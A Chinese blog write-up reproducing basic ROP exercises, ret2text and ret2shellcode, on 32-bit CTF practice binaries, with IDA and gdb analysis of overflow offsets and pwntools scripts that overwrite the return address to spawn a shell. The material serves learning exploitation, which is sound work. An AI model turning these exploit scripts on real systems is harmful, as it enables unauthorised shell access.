基础ROP复现

基础ROP复现

ret2text

执行ret2text攻击的前提条件

使用IDA反编译得到

gets()存在栈溢出漏洞

  • 使程序跳转到已有的函数中
  • 例如程序中有类似function:
  • system(‘/bin/sh’)
  • execve(‘/bin/sh’,NULL,NULL)

就可以跳转到这个function,function的地址可以通过objdump或者ida来查找。

在IDA中shift+F12查找字符串

双击跳转到

发现是在secure函数中被调用

跟进secure,发现system func

目标地址:0x0804863A,目标地址就是传参地址

如果我们直接控制程序返回至 0x0804863A ,那么就可以得到系统的 shell 了。

接下来判断构造的payload的长度

.text:080486A7 lea     eax, [esp+1Ch]
.text:080486AB mov     [esp], eax
.text:080486AE call    _gets

传递给gets的参数字符串是通过esp进行索引的,具体位置为esp+0x1c

使用gdb在调用 gets处下断点

b *0x080486AE

然后运行程序并查看运行到断点处的寄存器信息

esp 0xffffcf20 0xffffcf20

ebp 0xffffcfa8 0xffffcfa8

缓冲区s的地址为 esp+1ch ,故为 0xffffcf3c,该地址相对于ebp的偏移为 0x6c

根据栈的结构,gets的传入参数s相对目标返回地址的偏移为0x6c+4

最终控制程序返回到目标地址0x0804863A处,即将原有的ra覆盖为0x0804863A

构造的payload如下:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a#需要执行目标地址,适用于未添加ASLR的程序
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()

执行程序结果如下:

ret2shellcode

首先使用checksec查看程序的相关信息

将程序导入IDA反编译结果如下

"No system for you this time !!!"提示不想上题一样有system函数可以利用

但是存在strncpy函数,可以将用户的输入复制到buf2处

双击buf2,可知buf2在bss段

接下来就需要看bss段是否可执行

在原有的gdb上不能够使用vmmap指令查看段权限

使用gdb enhanced features(GEF)

安装gef

gdb exhanced features(GEF)工具的使用 - 寻梦99 - 博客园 (cnblogs.com)

设置

set disassemble-next-line on

内存布局

在IDA中查看段属性

如下可知bss端具有读写权限

esp 0xffffcfc0 0xffffcfc0

ebp 0xffffd048 0xffffd048

gets的输入参数的地址esp+0x1c= 0xffffcfdc

相对于ebp的偏移为0x6c

相对于ra的偏移为0x6c+4=0x70=112

目标地址为buf2的地址为0x0804A080

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

具体的实现过程发现bss段只有rw权限,在理解原理的基础上就没有继续向下执行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tntlbb

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值